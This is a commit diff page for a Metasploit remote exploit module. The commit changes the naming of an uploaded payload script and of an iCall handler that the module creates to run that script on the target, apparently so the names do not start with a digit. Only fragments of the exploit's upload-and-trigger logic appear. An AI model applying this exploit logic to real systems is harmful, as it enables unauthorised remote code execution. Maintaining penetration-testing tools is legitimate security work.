scripts/handlers cannot start with numbers
parent
7399b57e66
commit
deec836828
|
@ -227,9 +227,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status('Uploading payload script...')
|
script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}"
|
||||||
|
print_status("Uploading payload script #{script_name}")
|
||||||
script_name = Rex::Text.rand_text_alphanumeric(16)
|
|
||||||
create_script_res = create_script(script_name, cmd)
|
create_script_res = create_script(script_name, cmd)
|
||||||
unless create_script_res && create_script_res.code == 200
|
unless create_script_res && create_script_res.code == 200
|
||||||
print_error("Upload payload script failed")
|
print_error("Upload payload script failed")
|
||||||
|
@ -242,8 +241,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
register_file_for_cleanup @payload_path
|
register_file_for_cleanup @payload_path
|
||||||
|
|
||||||
# phase 2: create iCall Handler, that will actually run the previously created script
|
# phase 2: create iCall Handler, that will actually run the previously created script
|
||||||
print_status('Creating trigger...')
|
handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}"
|
||||||
handler_name = Rex::Text.rand_text_alphanumeric(16)
|
print_status("Creating trigger #{handler_name}")
|
||||||
unless create_handler(handler_name, script_name)
|
unless create_handler(handler_name, script_name)
|
||||||
print_error('Payload script uploaded but trigger creation failed')
|
print_error('Payload script uploaded but trigger creation failed')
|
||||||
delete_script(script_name)
|
delete_script(script_name)
|
||||||
|
|
Loading…
Reference in New Issue